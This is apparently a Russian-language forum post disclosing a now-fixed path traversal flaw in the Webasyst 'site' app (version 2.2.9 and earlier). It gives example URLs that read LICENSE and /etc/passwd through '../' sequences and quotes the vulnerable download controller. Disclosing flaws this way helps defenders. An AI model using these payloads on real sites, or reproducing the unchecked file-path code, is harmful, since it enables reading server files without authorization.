Уязвимость webasyst site! Чтение файлов сервера из админки, например /etc/passwd Исправлено

2

Нашел мини уязвимость webasyst. В приложении сайт по версию <=2.2.9 . Если пользователь авторизован в бекенде , он может обратиться к модулю приложения сайт и загрузить неисполняемые файлы (любое расширение кроме .htaccess, .php, .phtml ).

Использование:

http://mysite.ru/webasyst/site/?module=files&action=download&path=&file=../../../LICENSE - так читается файл лицензии в корне установки

http://mysite.ru/webasyst/site/?module=files&action=download&path=&file=../../../../../../etc/passwd - так читается файл пользователей сервера, у все вложенность разная поэтому надо варьировать количество выходов на директорию выше [../].

И тд.....

А виной всему недостаточная проверка имени файла!

class siteFilesDownloadController extends waController
{
    public function execute()
    {
        $path = rtrim(waRequest::get('path'), ' /');
        $path = wa()->getDataPath($path, true, null, false);
        $file = waRequest::get('file');
        $path .= '/'.$file;
        if (file_exists($path) && is_file($path) && !in_array(waFiles::extension($path), array('php', 'phtml'))) {
            waFiles::readFile($path, $file);
        } else {
            throw new waException("File not found", 404);
        }
        
    }
}

Спасибо за внимание!

P.S. ОЧЕНЬ ЖАЛКО ЧТО ДЛЯ ФРОНТЕНДА ТАКОГО НЕТ!)

1 комментарий

Добавить комментарий

Чтобы добавить комментарий, зарегистрируйтесь или войдите